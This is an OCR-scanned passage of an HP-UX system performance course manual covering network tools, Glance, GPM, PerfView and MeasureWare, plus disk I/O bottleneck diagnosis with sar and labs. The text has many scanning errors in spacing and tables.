fromthe arp cache.

To get help information on all TCP-related objects:

nettune -h tcp

tcp_receive:

The default socket buffer size in bytes for inbound data.
tcp_send:

The default socket buffer size in bytes for outbound data.

To set the value of the i p_f or war di ng object to 1:
nettune -s ip_forwarding 1

Examples — ndd (11.00)

With HP-UX 11.00, a new command called ndd (network diagnostic debugger), has been
introduced to better handle the networking design changes introduced with the 11.00 TCP/IP
product.

One of the capabilities of ndd is the ability to display the arp cache for 11.00 based systems.
With the introduction of multiplexing (multiple IP addresses on a LAN card) at 11.00, the

net t une command will get confused, causing errors, or displaying erroneous results. At HP-
UX 11.00, the ndd command is the recommended method for viewing the ARP cache.

# ndd -get /dev/arp arp_cache_report

i f name proto addr proto nask har dwar e addr flags
| an0 156. 153. 194. 134 255. 255. 255. 255 08: 00: 09: 5f : c6: ea
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| an0
| an0
| an0
| an0
| an0
| an0
| an0
| an0
| an0
| an0
| an0

H3045S C.00

156.
156.
156.
156.
156.
156.
156.
156.
156.
015.
224,

153.
153.
153.
153.
153.
153.
153.
153.
153.
019.
000.

194.
195.
195.
194.
194.
195.
194.
194.
194.
083.
000.

132
133
082
106
104
122
001
011
021
184
000

255.
255.
255.
255.
255.
255.
255.
255.
255.
255.
240.
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255.
255.
255.
255.
255.
255.
255.
255.
255.
255.
000.

255.
255.
255.
255.
255.
255.
255.
255.
255.
255.
000.

255
255
255
255
255
255
255
255
255
255
000

10-50

1 00:
- 00:
1 60:
;00:
1 e0:
- 00:
. 00:

. 5f:
1 1d:
1 70:
1 as3:
;as3:
. 18:
c9:
73:
8e:
f b:
00:

1 63:
4a:
. 83:
1 7b:
1 00:

a6:
93:
de:
98:

34
5b
43
00

PERM PUBLI SH LOCAL

PERM MAPPI NG
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10-29. TEXT PAGE: NetMetrix

Description

The Net Met r i X product makes use of LAN probes to collect network traffic information.
The LAN probes attach to the physical network and collect detailed information regarding
the packets which pass through the probe.

Tools available with NetMetrix include:

* Packet decoders

¢ Network alarming capabilities
¢ Reports including top packet generating systems
¢ Data collection for trending

Tool Source:
Documentation:
Interval:

Data Source:
Type of Data:
Metrics:
Logging:
Overhead:
Unique Feature:

Full Pathname:

Pros and Cons:

NetMetrix Notes

HP

man pages, NRF (Network Response Facility) manual
On demand

LAN probes

LAN traffic

Number of packets through cross-section of network
NetMetrix binary file

Varies, depending on the number of LAN probes
Provides statistics regarding traffic on the entire network

9.x release: n/a
10.x release: n/a

+ Statistics regarding total packet traffic
- Additional cost
- Requires LAN probes

¢ NetMetrix makes use of highly sophisticated devices (LAN probes), capable of collecting
large amounts of detailed network information.

¢ NetMetrix is a truly distributed network management product which makes use of "mid-
level managers" for data storage and alarming.

¢ There are a number of modules available with NetMetrix.
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¢ NetMetrix's Internet Response Manager (IRM) and Internet Response Agent (IRA) fully
integrate with HP OpenView products to provide a complete System and Network
Management Solution.
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10-30. SLIDE: HP Glance

— HP Glance

—

N/% High-Level

Z@ IS’r(ég%?li Resource System
P Details Overview

* CPU usage per process \
e disk IO per process
« memory utilization per CPU reports

process
¢ system calls per process

e disk reports

e memory utilization
reports

¢ global processes reports

¢ CPU utilization bar graph

e disk utilization bar graph

¢ memory utilization bar graph
¢ swap utilization bar graph

Student Notes

The gl ance tool is the recommended performance monitoring tool for HP-UX systems. This
tool shows information which cannot be seen with any of the standard UNIX monitoring
tools. The accuracy of the data is considered more reliable than tools which rely on the
kernel counters.

One of the main benefits of gl ance is its ability to monitor performance at all levels, from
high level overviews to the processing of specific data. High level performance information
is continually displayed at all times through resource utilization bar graphs. When more
information is needed about a resource, 12 different resource reports are available, including
reports contain CPU, memory, and disk I/O statistics. When more information is needed
about a specific process, gl ance can show detailed information about the specific process.

NOTE: Free evaluation copies of gl ance and gpmcan be obtained for 90

days. The phone number to obtain an evaluation copy is
(800) 237-3990.
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10-31. SLIDE: HP Glance — High Level System Overview

— HP Glance — High Level System Overview

I
Current Awvzx High

B36924 GlancePlus B.10.12 . 09:11:ill.hppsd243 9000/847

~EPT T 1 2% 3% SR
Disk Util o% o% 3% ‘

|

- I

oo Mem  Util | 83% 83% 83%mwﬂw”
Strap--Util | | 38%  38%.38%

GlancePlus Commands Menu

? - Commands Menu b — Page Backward {(or -} < — Display Prewious Screen
' = Invoke Shell f — Page Forward (or +,space) > — Display Next Logical Scr
h - Online Help q — exit for e z — Reset Statistics to Zero
p — Print Toggle r — Refresh Screen {or ~LJ} <crr— Update Current Screen
j — Adjust Interval o — PFrocess Threshold Options A — Application List
xz — Process List d — Disk Report P - PEM Group List
a — CPU By Processor i — IO By File System ¥ — Global System Calls
c — CPU Report u — IO By Disk F — Process Open Files
m — Memory Report w — IO By Logical Volume M — Process Memory Regions
t — Swystem Tables N — MNFS5 Global Actiwvity E — Process Resources
w — Swap Space n — NFS By System W — Process Wait States
B - Global Waits 1l — Network By Interface L — Process System Calls
D — DCE Global K — DCE Process List E — Process DCE
T — Trans Tracker s — Select Process O — Process DCE Ops
H - Alarm History S — Select Disk/NFS5/4Appl/Trans v — Renice Process
Enter command or function kew:
Process CPU Memory Dislk hppsd243 MNext Appl Help Exit
List Report Report Report Keys List Glance

N U-Level
~—m— System
:@ Nx‘wew

Student Notes

Every gl ance screen displays four utilization bar graphs: CPU, Disk, Mem, Swap. This
allows the user of glance to always see the big, global performance picture at a glance. If the
utilization bar graphs indicate a performance problem, then further investigation can be done
through the 12 resource reports, or by analyzing a specific process.

For each utilization bar graph, there are letters which represent how the resource is being
accessed. The table on the next page, describes the different letters for each bar graph.
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Table 1

Bar Graph Description
CPU Util S = System Time

U = User Time

R = Real Time

N = Nice Time

A = Anti-Nice Time
Disk Util F = File System

V = Virtual Mem (i.e. Swap)
Mem Util S = System Usage

U = User Usage

B = Buffer Cache Usage
Swap Util U = Used Swap Space

R = Reserved Swap Space

http://leducation.hp.com
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10-32. SLIDE: HP Glance — Global Resource Details

— HP Glance — Global Resource Details

B36924 GlancePlus B.10.1Z2 15:45:00 hppsd243 9000/847 Current Awg High

CPUO Ttil S8 | 3% 3% 59%
Disk Ttil | 0% 0% 4%
| B4% 84% 84%

Mem Util F
Swap Util | 40%  40%  40%

< PROCESS LI Users- 4
User Cum Disk Block
Process Name PID PPID Pri Name CPU IO Rate R5S5 On
glance 4088 4072 154 root 1.24 1.1 35.3 0.0/ 0.0 4 . 5mb IFPC
midaemon 4090 4089 50 root a.z2/ 0.1 4.4 0.0/ 0.0 1.1mb S¥STM
netfmt 1014 1213 127 root .25 0.1 3.2 0.9/ 0.0 1.6mbh SLEEFP
rlogind 4070 1177 134 root 0.2/ 0.0 1.0 0.9/ 0.0 1.3mb SLEEP
rocd 1368 1 154 root a0/ 0.1 3.0 0.0/ 0.0 5.6mb SLEEP
srmpdm 1257 1 154 root 0.0/ 0.0 0.7 0.0/ 0.0 4 .9mb SLEEP
statdaemon 3 @ 128 root 0.2/ 0.2 5.3 0.0/ 0.0 16kb SLEEF
swagentd 314 1 154 root a.0/ 0.1 2.4 0.0/ 0.0 5.6mb SLEEP
— Page 1 of 1
:ﬁ Process E;CPU Memory Disk hppsdzas MNext Appl Help Exit
‘3‘ List | Report Report Report Kevs List Glance
——

Resource

Student Notes

There are 12 different resource reports which provide detailed information about resources
in that group.

For each resource report, if specific information is needed about a single resource in that
group, the resource can be selected and detailed information about that particular resource
will be displayed.
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The commands to access the 12 different resource reports (plus some additional commands)

are shown below:

COMVAND FUNCTI ON
a Al CPUs Perfornmance Sta
c CPU Utilization Stats
d Disk 1/O Stats
g d obal Process Stats
h Hel p
i 1/ O by Filesystem
| Lan Stats
m Menory Stats
n NFS Stats
S Si ngl e process information
t OS Table Utilization
u Di sk Queue Length
% Logi cal Vol unme Mgr Sta
w Swap Stats
z Zero all Stats
? Hel p with options
<CR> Update screen with new data
http://education.hp.com 10-57

GLANCE PLUS REPORT
CPU by Processor
CPU Report

Di sk Report
Process Li st

I/ O by Filesystem

Net wor k by LAN

Menory Report

NFS Report

Process List, double-click process

Syst em Tabl e Report

Di sk Report, double-click disk
I/0O by Logical Vol une

Swap Det ai |
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10-33. SLIDE: HP Glance — Process Specific

— HP Glance — Process Specific

I
B3p9ZA GlancePlus B.10.12 15:53:21 hppsdz4a3 9000/847 Current Awvg High
CPU Util B2 [ 3% 59%
Dislk Util | e% [0} 4%,
Mem Util | 84% B4% 84%
Swap Util | am% 40% 40%
Resource Usage foriPi 4088, glance - FPPID: 4072 euid: O User:root

CPU Usage (sec) @.04 Log Reads : 2 Rem Log Rds/Wts:
User/Nice/RT CPU: (O OF-A Log Writes: o] Eem Phy Rds/Wts:
System CPU H O.00 Phy Reads : o]
Interrupt CFU : 0.00 FPhy Writes: @ Total RSS/VSS
Cont Switch CPU : ©.00 FS Reads 0] Traps / Vfaults:
Scheduler H HPUX FS Writeszs : 0] Faults Mem/Disk:
FPriority 154 WM EReads @ Deactiwvations
HNice WValue H 1@ WM Writes : © Forks & Vforks :
Dispatches : 3 Sys Reads O Signals Recd
Forced CSwitch : 1 Sws Writes: @ Mesg Sent/Recd :
VoluntaryCSwitch: 1 Raw Reads : @  Other Log Rd/Wt:
Funning CPU H @ FRaw Writes: @ Other Phy Rd/Wt:
CPU Switches H @ Bytes Hfer: Okb Proc Start Time
Wait Reason : IFC Thu Dec

C - cum/interval toggle % - pcti/absolute toggle
FProcess Wait Memory Open hppsdZ43 MNext Frocess
Fesource| States Fegions| Files Keys Syscalls

g,

—

D

Process

5 14:53:30 1996

Process |Process

——

o/ o}

o/ o}
4.5mb/ B.3mb

1/ o}

o/ o}

o}

o}

1

o/ o}

1/ 13

o/ o}

Page 1 of 1

DCE DCE Ops

Student Notes

One of the most powerful features of gl ance is its ability to provide detailed, performance-

related information about individual processes on the system.

For each process on the system, detailed data regarding | r esour ces used |,

[ wait states |,[ nenory regions |,[ files opened |, and the | system cal [ s |can be

displayed.

The slide above shows the | r esour ces used |information for the process ID 4088.
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10-34. SLIDE: GPM — GlancePlus Monitor

— GPM - Glance Plus Monitor

File Reports Adviser Configure

Track CPU, memory,
disk, & network '
resources real-time. ,—

.
A Guided Tour is included
|

with the online help facility.

Identify system performance
bottlenecks using the

rules-based advisor. o Lo B G o

v 1000 metrics

¥ Global, application, or
process level

v 1sec intervals

¥ Transaction Tracker metrics

Student Notes

The gpm(GlancePlus Monitor) tool is a graphical version of gl ance. All the benefits of
using gl ance apply to gpm including:

* A guided tour using the online help facility.

* Alarming capabilities to notify the system administrator when a bottleneck is detected.
¢ Access to run time performance data (over 1,000 different metrics).

¢ The ability to kill and renice processes

¢ The ability to adjust the presentation intervals

* Reliability of data, since information is gathered by the ni daenon
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10-35. SLIDE: PerfView and MeasureWare

PerfView and MeasureWare

Central Management System

PerfView
I erfVieu|ll Adds
Eg;e;;s:yng] Managed System
= Ty

Student Notes

Measur eWar e is the recommended and preferred tool for collecting performance data on an
HP-UX system. MeasureWare collects all the global and process statistics, consolidates the
data into a 5-minute summary, and writes the record to a circular log file. Processes can be
grouped into applications, and various thresholds are available for determining which
processes are included in the summary.

The Per f Vi ewtool allows collected MeasureWare information to be viewed in a feature-
rich, GUI interface. Graphs, charts, alarms, and other details are easily viewed with

Per f Vi ew.

There are three components which make up the PerfView product:

PerfView Analyzer

¢ The PerfView Analyzer allows for the performance administrator to easily access data
from any MeasureWare Agent.

¢ By default, the last 8 days of data are pulled in to be analyzed but any amount of data that
has been collected can be retrieved.
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¢ The PerfView Analyzer is used for load balancing, and also allows you to compare
multiple systems against a specific metric.

¢ The graphs produced by the PerfView Analyzer can be stored, or printed out to any
Postscript or PCL printer.

¢ As with all of the RPM products, the PerfView Analyzer is fully integrated with Network
Node Manager and IT Operations.

PerfView Monitor
¢ The PerfView Monitor receives alarms sent by MeasureWare agents.
¢ It allows you to filter alarms by severity and type.

e PerfView Monitor is an optional module and may not be required if you are also running
Network Node Manager or IT Operations.

PerfView Planner

¢ The PerfView Planner allows you to use collected MeasureWare data to see performance
trends.

¢ The more data provided to the PerfView Planner and the less time you project it, the more
accurate the reports will be.

¢ The PerfView Planner is not a true capacity planning tool in that it does not provide
modeling capability, or the ability to do simulations.
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10-36. LAB: Survey of Different Performance Tools

Directions
Change to directory to / hone/ h3045*/ t ool s. Start some activity on the system by
executing the RUN script:

/ RUN

When the lab is completed, terminate the activity by executing the Kl LLI T script.

1. How many processes are running on the system?
Use the conmmand ps -ef | we -1 (subtract 1 for the header).

O use top, which shows nunber of processes in the summary portion.

O use glance, global processes screen (g), and set the thresholds to
show all of the running processes.

2. Are there any real-time processes running on the system?

Use the command ps -el to viewthe priority of all processes and | ook
for priorities between 0 and 127. Any processes with a priority |less
than 128 is a real tinme process.

O use top, to view processes and their priorities.

O use glance, global process screen (g), to view processes and their
priorities.

3. Are there any zombie processes on the system?

A zombie is a process which has terninated and is trying to exit the
system |If the process cannot exit the system(i.e. it cannot rel ease
its resources or its parent does not respond), then it continues to
stay on the systemin a zonbie state.

Use the top comrand to view zonbi e processes.

O use glance, global process screen (g), to view zonbie (aka
<def unct>) processes.
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4. What is the load average (aka processes in the run queue) on the system?

The | oad average is a neasure over the last 1, 5, and 15 mnute
intervals of the CPU run queue.

The | oad average can be seen in:
- the uptinme conmmand
- the top command
- the glance CPU (c) report, page 2
- the glance CPU by Processor (a) report

5. How many system processes are currently present?

System processes have a zero size data segnent. This can be seen - on
the ps -el listing (look for SZ colum with 0) - on the glance process
report (look for RSS with 16kb)

System processes can al so be detected in the Flag field of a ps -el
listing.

6. What is the current CPU utilization on the system?

Most all tools report CPU utilization statistics, including:
- top
- glance
- sar -u
- iostat -t
- vnst at

7. What is the total amount of memory on the system and how much is free?

The total nmenory can be seen with:
- glance, nenory (n) report
- top
- dnesg
- also logged to the file, /var/adm syslog/syslog.!|og

The free nmenory on the system can be seen with:
- glance, nmenory (m report
- vnst at
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8. How much swap space is currently being used?

The swap space being used can be seen with:
- glance, swap space (w) report
- swapi nfo

9. How many entries in the inode table are currently in use?

The nunber of inodes currently in use can be seen with:
- sar -v
- glance, systemtable report (t), page 2

Renmenber, the inode table is a cache. Therefore, once the system has
been running for a while, this table will be full.

10. Which processes are using the largest amount of the CPU?

The top CPU consum ng process can be seen with:
- top
- glance, global process (g) report, sorted by CPU util
- glance, CPU (c) report (show top CPU user)

Proc3 and proc5 should be the top CPU consuners.

11. Which process is using the largest amount of memory?

The size of a process can be seen with:
- top
- ps —el
- glance, gl obal process (g) report

Procl should be using the | argest anount of nenory.

12. Which process is performing the greatest amount of disk I/O?

d ance is the best tool for tracking disk I/O by process.
QO her tools like iostat do not show process specific info.
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The gl ance, global process (g) report, sorted by disk |I/O shows which
processes are performng the greatest anount of disk I/QO

None of the processes are doing any |arge amount of I/Q

How much page ins and page outs are occurring on the system?

The amount of page ins and page outs can be seen with:
- vnst at
- glance, nenory (n) report

What is the current size of the buffer cache, and what is the current hit ratio?

The m ni mum maxi num and current size of the buffer cache can be seen
with glance, table report (t), page 2.

The current hit ratio on the buffer cache can be seen wth:
- sar -b
- glance, disk (d) report, page 2.
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Module 11 — Identifying a Disk Performance
Bottleneck

Objectives
Upon completion of this module, you will be able to:

e List the four main bottlenecks which limit performance on a computer system.
¢ Identify four symptoms for disk-related bottlenecks.

¢ Use standard UNIX performance tools and HP specific tools to determine if the disk-
related bottleneck symptoms are present.

e Identify four symptoms of processes performing large amounts of disk I/O, which
contribute to disk-related bottlenecks.
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11-1. SLIDE: Performance Bottlenecks

~ Performance Bottlenecks

Network
(LTI
CPU Run Queue
(LITTT]
CPU Disk I/O Queue
OOooOonO
oooo
Processes DlSk
Memory
System Bottleneck Areas
e CPU
e Memory
e Disk
e Network

Student Notes

Poor performance results from a resource not being able to handle the demand being place
upon it. When the demand for a resource exceeds the capabilities of the resource, then a
bottleneck exists for that resource.

Common resource bottlenecks are:

CPU A CPU bottleneck occurs when the number of processes wanting to
execute is constantly more than the CPU can handle. Basic symptoms of
a CPU bottleneck are high CPU Utilization and multiple jobs consistently
in the CPU run queue.

Memory A memory bottleneck occurs when the total number of processes on the
system will not all fit into memory (i.e. there are more processes than
memory can hold). When this happens, pages of memory need to be
copied out to the swap partition on disk to free space in memory. Basic
symptoms of a memory bottleneck are high memory utilization and
consistent I/0 activity to the swap partition on disk.
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Disk A disk bottleneck occurs when the amount of I/O to a specific disk is
more than the disk can handle. Basic symptoms of a disk bottleneck
include high utilization of a disk drive and multiple I/O requests
consistently in the Disk I/O queue.

Network A network bottleneck occurs when the amount of time needed to perform
network-based transactions is consistently greater than expected. Basic
symptoms of a network bottleneck include network collisions, network
request timeouts, and packet retransmissions.
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11-2. SLIDE: Sample Bottleneck — Disk Read

Sample Bottleneck — Disk Read

Disk I/0 Queue@
Memory OTTITTT .

S
Buffer Cache Filesystem

@
1 : ©

T seeks
+1, Latency,
ProcCe%s File Transfer

. @ @@

1. Process Issues r ead System Call - Buffer Cache is checked.

2. Block not in Buffer Cache, Physical I/O request is put in Disk I/O Queue.
3. Block on disk is accessed through seek, latency, and transfer.

4. Data is read into Buffer Cache, completing Physical I/O request.

5. Read System Call is returned to process, completing Logical I/O.

Student Notes

The flow diagram on the slide highlights the main actions performed by a process when it
issues ar ead() system call.

1.

The process issues the r ead() system call. The buffer cache is searched, looking for the
data blocks being requested. If the data block is found in the buffer cache, the r ead()
system call is returned with the corresponding data.

If the data block is not found in the buffer cache, then a physical I/O request is generated
to read the data block into the buffer cache. The I/O request is placed into the Disk
Queue for that particular disk.

The physical read is performed since the data was not in the buffer cache. Because
physical I/O involves movement of the disk head (seek time), waiting for the data on the
platter to rotate under the disk head (latency time), and moving the data from the platter
into memory (transfer time), the cost of a physical I/O is high from a performance
standpoint.

Once the physical I/O request returns, the data is stored in the buffer cache such that
future I/O requests for the same file system block can be satisfied without having to
perform a physical. This step completes the physical I/O initiated by the kernel.
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5. The final step is to return the data to the original calling process which issued the
read() system call.
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11-3. SLIDE: Specific Disk Read Bottlenecks

Specific Disk Read Bottlenecks

1. Data not in Buffer Cache.

2. Lots of I/O requests in the Disk I/O queue.

3. High disk utilization or slow disk hardware.

4. All entries in the buffer cache are dirty and have not been flushed
— must wait.

5. Kernel notification to process performing disk read is slowed by

other activity.
Disk I/O Queue,
Memory| IIIITTH (€]
Buffer Cache

|

(i/‘/® File
Process

Student Notes

The slide above shows the bottlenecks which can occur when performing a disk read:

Data not in the buffer cache. Disk read performance is heavily dependent upon data
being in the buffer cache at the time it is requested. When the requested data is in the
buffer cache, the data can be returned immediately. When it is not in the buffer cache, a
physical I/O needs to occur, which greatly impacts disk read response time.

Lots of requests in the disk I/0 queue. When an I/O request is posted to the disk I/O
queue, the number of requests in the queue greatly impacts how quickly the I/O will be
performed. If there are a lot of requests, then the I/O must wait for all the preceding
requests to be serviced. The waiting for other requests greatly impacts the I/O
performance.

Slow disk hardware. When the I/O request is processed, the disk hardware must seek
the disk head to the correct disk platter and transfer data contained at that location. If
the disk hardware is slow, then the seek rate, platter rotational speed, and/or data
transfer rate will be slow and ultimately will effect the disk I/O performance.

Buffer cache is full with dirty entries. Upon transferring data to the buffer cache, at
least one buffer cache entry needs to be available. If all the buffer cache entries are in
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use (all entries contained modified data), then the I/O will have to wait for a buffer cache
entry to be flushed to disk (freeing a buffer cache entry).

¢ Other activity on the system slows kernel notification to calling process. Once
the I/O has completed and the data is in the buffer cache, the calling process needs to be
notified (i.e. awakened) by the kernel. If the kernel is busy with real-time processes or
other activities, the calling process may have to wait a little longer before the kernel can
provide the notification.
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11-4. SLIDE: Disk I/0 Monitoring: sar - b Output

— Disk I/O Monitoring: sar - b Output

#=> sar -b 10 20
HP- UX e2403roc B.10.20 U 9000/ 856 02/ 09/ 98

05:51: 04 bread/s Iread/s %cache bwit/s Iwit/s %wache pread/s pwit/s

05:51: 14 0 0 0 1 1 25 0 0
05:52: 04 0 0 0 0 1 85 0 0
05:52: 14 0 0 0 1 8 87 0 0
05:52: 24 0 0 0 0 4 100 0 0
05:52: 34 0 0 0 0 1 100 0 0
05:52: 54 1 68 99 0 0 33 0 0
05:53: 04 7 11936 100 1 2 13 0 0
05:53: 14 6 19506 100 1 1 0 0 0
05:53: 24 28 24147 100 1 2 65 0 0
05:53: 34 0 14 99 0 0
05:53: 44 2 3 46 0 0
05:53: 54 3 3 0 0 0
05: 54: 04 18 19 4 0 0
05:54: 14 18 18 3 0 0
05: 54: 24 13 14 4 0 0
Aver age 3 5 39 0 0

Student Notes

The sar - b report shows disk activity related to the buffer cache. The key fields within this
report are:

bread/ s Indicates the average number of physical I/O requests per second over
the interval. The term bread refers to block reads.

I read/s Indicates the average number of logical I/0 requests per second over
the interval.
% cache Indicates the average percent read cache hit rate. This shows what

percentage of read requests were satisfied through the buffer cache.

witenetrics The same three metrics for write activities (bwrit/s,l wit/s, and
%wcache) should also be monitored.

The sar - b report on the slide shows the two extreme situations. The first extreme is a
100% read cache hit rate, which occurs when there are lots of logical I/O requests and most
requests are satisfied through the buffer cache, rather than having to go to disk.
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The other extreme is a 0% read cache hit ratio. This occurs when every logical I/O request
requires having to perform a physical read from disk. In this case, the number of physical
reads is equal to the number of logical reads.
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11-5. SLIDE: Disk I/0 Monitoring: sar -d Output

— Disk I/O Monitoring: sar -d Output

# sar -d 56
05: 23: 50 devi ce o
05: 23: 55 cl1t 5d0
cOt 4d0
c0t 5d0
cO0t 6d0
05: 24: 00 cl1t 5d0
cOt 4d0
c0t 5d0
c0t 6d0 <.
05: 24: 05 c1t 5d0
cO0t 4d0
c0t 5d0
c0t 6d0
05: 24: 10 c1t 5d0
cOt 4d0
c0t 5d0
cO0t 6d0
05:24: 15 cO0t 4d0
c0t 5d0

05:24:20  clt6d0
c1t 5d0

Student Notes

The sar - d report shows disk activity on a per disk drive basis. The key fields within this
report are:

% busy Indicates the average percent utilization of the disk over the interval (5
seconds in the slide).

avque Indicates the average number of requests in the disk I/O queue.

avwai t Indicates the average amount of time a requests spends waiting in the disk I/O
queue.

avserv Indicates the average amount of time to service a disk I/O request.

The sar - d report on the slide shows that when the disk had the most requests in the queue
(19.60 and 18.77), the average wait time was at its highest.

The slide also shows that there are five disk drives spread across two disk controllers. One
disk controller (c0) appears to have two busy drives (14 and t6) and a relatively low usage
drive (t5). Disk controller (cl) has two disks which are mainly idle. One performance

H3045S C.00 11-10 http://feducation.hp.com
00 2000 Hewlett-Packard Company



Module 11
Identifying a Disk Performance Bottleneck

solution here would be to better balance the disk activity across the two controllers by
moving one disk (say c0t4), over to the idle disk controller.
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11-6. SLIDE: Disk I/0 Monitoring: Glance I/0 by Disk Report

~ Disk I/O Monitoring: Glance I/O by Disk
Report

B3692A d ancePl us B. 10. 12 06:31: 12 e2403roc 9000/ 856 Current Avg H gh
opu wil [s SRU J | 100% 100% 100%
Disk Wil | F Fl | 83% 22% 84%
Mem Uil [ S SU uB B] | 94% 95% 96%
Swap Uil [U_UR R | 21% 21% 22%
10 BY DI SK User s= 4
Idx Device Uil Qen KB/ Sec Logl 10 Phys 10
1 56/52.6.0 o/ o0 0.0 0.0/ 1.8 na/  na 0.0/ 0.2
2 56/52.5.0 U1 0.0 16. 0/ 5.1 na/  na 2.0 0.7
3.56436:470" 78y 181584, 81 178.4 na/ na 48.0/ 5.6
/4 56/36.5.0 52/ 6 3.8 93%8/ 120.5 na/ na 24.0/ 3.0
5"56136:.6..0...... .68/....9. e Q-6~1172. 8/  154.9 na/ na 35.8 4.6
6 56/52.2.0 o/ 0 0.0 0.0/ 0.0 0.0/ 0.0 0.0/ 0.0
Top disk user: PID 3280, disc 106.4 |1 Cs/ sec S - Select a Disk
Student Notes

The glance Disk Device report (u key) shows current and average utilization of each disk
drive on the system. Also shown in this report is the current I/O queue length for each disk.

In the slide, three disks show utilization greater than 50% and queue lengths greater than 3.
This would normally be cause for further investigation. The 10.6 and 18.2 queue lengths are
high, but, because the average utilization of the drives is 9%, this may just be a spike in disk

activity.

In this case, the situation should be monitored further to see if the high queue lengths persist,
or whether they were just spike in disk usage.
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11-7. SLIDE: Disk I/0 Monitoring: Glance Disk Report

~ Disk I/O Monitoring: Glance Disk Report

B3692A d ancePl us B. 10. 12 06: 16: 25 e2403roc 9000/ 856 Current Avg H gh
cou wil [s sHy U | 100% 100% 100%
Disk Wil [F Fl | 83% 22% 84%
Mem Wil |S Sp UB B] | 94% 95% 96%
Swap Uil [U R R | 21% 21% 22%
DI SK REPORT User s= 4

% Rat e Byt es Cum Req % Cum Rate Cum Byte

.7 .6 5kb .8 9.6 3. 2mb

Logl Ws 2455 97 3 491. 0 19. 2mb 14798 92.2 112.9 114. 8nb

Phys Rds 10 1.7 2.0 80kb 189 5.1 1.4 1. 8mb

Phys W's 565 .98.3 113.0 18.9nmb 3520 94.9 26.8 112. 4nb

“"~~.,,H.User 5_]_1"'" 99.3 114. 2 18.9nmb 3448 93.0 26.3 112. 2nb

Virt--Mem" 0 0.0 0.0 Okb 66 1.8 0.5 968kb

System 4 0.7 0.8 32kb 195 5.3 1.4 1.2mb

Raw 0 0.0 0.0 Okb 0 0.0 0.0 Okb

Renote Logl Rds 0 0.0 0.0 Okb 0 0.0 0.0 Okb

Logl Ws 0 0.0 0.0 Okb 0 0.0 0.0 Okb

Phys Rds 0 0.0 0.0 Okb 1 100.0 0.0 Okb

Phys W's 0 0.0 0.0 Okb 0 0.0 0.0 Okb
Student Notes

The glance Disk Report (d key) shows local and remote I/O activity. The I/O distribution can
be viewed from the following:

¢ Logical Perspective (logical reads versus logical writes)
¢ Physical Perspective (physical reads versus physical writes)

e I/O Type Perspective (User, Virtual Mem, System, Raw)

Items of interest in this report include the number logical I/O requests (read and writes), the
number of physical I/O requests (reads and writes), and the ratio between the two.

In the slide, the disk utilization is 94% (very high), with the majority of the I/Os being writes
(92%) as opposed to reads. It is also interesting to note the logical to physical write ratio is
14,798 : 3,620 or approximately 5:1, which is an acceptable write performance ratio.
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11-8. LAB: Monitoring Disk I/O Performance

Baseline Disk I/0 Performance

1. Benchmark the disk I/O performance on the system while there’s no other activity by
executing the diskread baseline program.

# timex [hone/ h3045s b00/ basel i ne/ di skread &

NOTE: NOTE: You may need to edit the di skr ead program for the
appropriate disk device file for your system.

Record the amount of time for the program to execute :

Disk 1I/0 Bottleneck

2. Change to the directory containing a disk I/O intensive application.
# cd [/ hone/h3045s_c00/ di sk/ | abl

3. Time and monitor the system during the execution and the disk_long program:

# timex ./disk _long &

4. Open a second window, and re-execute the di skr ead baseline program.
# timex [hone/ h3045s b00/ basel i ne/ di skread &

Record the amount of time for the diskread program to execute :

Record the amount of time for the disklong program to execute :
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5. Continue executing the di skl ong program multiple times in the first window. In the
second window, start glance and answer the following questions related to the
performance of the system:

A. What is the utilization of the disk while the program is executing?
B. How many requests are in the disk I/O queue?

C. What is the buffer cache hit ratio?
D

. What is the amount of logical writes being performed per second?
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Module 12 — Tuning Performance Bottlenecks

Objectives
Upon completion of this module, you will be able to:

e List three different areas where performance bottlenecks occur.
* List two hardware solutions for tuning a disk bottleneck.

* List three software solutions for tuning a disk bottleneck.
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12-1. SLIDE: Performance Bottleneck Areas

~— Performance Bottleneck Areas

Application

Operating System

HARDWARE

Student Notes

Performance bottlenecks can happen at all three of the areas listed above: hardware,
operating system, and application.

Hardware

The hardware moves data within the computer system. If the hardware is slow, the system
will still be slow, no matter how finely tuned the OS and applications are. Ultimately, the
system is only as fast as the hardware can move the data.

Items affecting the speed of the hardware include: CPU clock speed, amount of memory, type
of disk controller (Fast/Wide SCSI or Single-Ended SCSI), and type of network card (FDDI or
Ethernet).

Operating System

The operating system runs on top of the hardware. It controls how the hardware is utilized.
The operating system decides which process runs on the CPU, how much memory to allocate
for the buffer cache, and whether I/O to the disks is performed synchronously or
asynchronously, etc. If the operating system is not configured properly, then the
performance of the system will be poor.
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Items affecting how the operating system performs include: process priorities and their
“nice” values, the tunable OS parameters, the mount options used for file systems, and the
configurations of network and swap devices.

Applications

The applications run on top of the operating system. The application programs include
software such as database management systems, Electronic Design Applications programs,
and accounting-based applications. The performance of the application program is
dependent on the operating system and hardware, but it is also dependent on how the
application is coded, and how the application itself is configured.

Items affecting the performance of the application include: how the application data is laid
out on the disk, how many users are trying to use the application currently, and how
efficiently the application uses the system's resources.

Questions

In which of these three areas are most performance problems located?
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12-2. SLIDE: Tuning a Disk Bottleneck — Hardware Solutions

Tuning a Disk Bottleneck —
Hardware Solutions —_—

¢ Add additional disk drives (and off load busy drives)

¢ Add additional controller cards (add load balance disk drives
across controllers)

e Add faster disk drives
¢ Implement disk striping

¢ Implement disk mirroring

Student Notes

The hardware solutions on the slide above will help to lessen the performance impact of high
disk I/O on a system.

Add additional disk drives (and off load busy drives). This spreads the amount of
1/0 over more drives, decreasing the average number of I/O requests for each disk.

Add additional disk controllers (and load balance disk drives across
controllers). This spreads the amount of I/O over more controllers, decreasing the
likelihood any one disk controller becomes overloaded with I/O requests.

Add faster disk drives. This decreases the amount of time it takes to service an I/O
request, which decreases the amount of time requests spend waiting in the disk I/O
queue.

Implement disk striping. This increases the number of disk heads having access to the
striped data (the more disks striped across, the more heads into the data). It also allows
for overlapping seeks, meaning one disk head can be seeking to the next block while a
second disk head is reading the current data block.
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¢ Implement disk mirroring. This can increase read performance since either the
primary or mirrored copy of the data can be read. In fact, the data will be read from
whichever disk has the fewest I/Os pending against it.
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12-3. SLIDE: Hardware Solution — Use Striping to Offload Busy

Drives
Hardware Solution —
Use Striping to Offload Busy Drives —
S
11213 —— jll B 51
C T 7h 1
— 60% T| 60%
o || g o ||
System — System —
S
214 16
8 JI0 12
—| 50%
52% Util
Util
‘\;;iume Group vg0l Volume Group vg01
Without Striping With Striping
Student Notes

Balancing the disk activity such that the utilization across drives is approximately the same
helps to make sure that no one disk becomes overloaded with I/O requests (that is, 90% or
greater utilization with more than three requests in the disk queue).

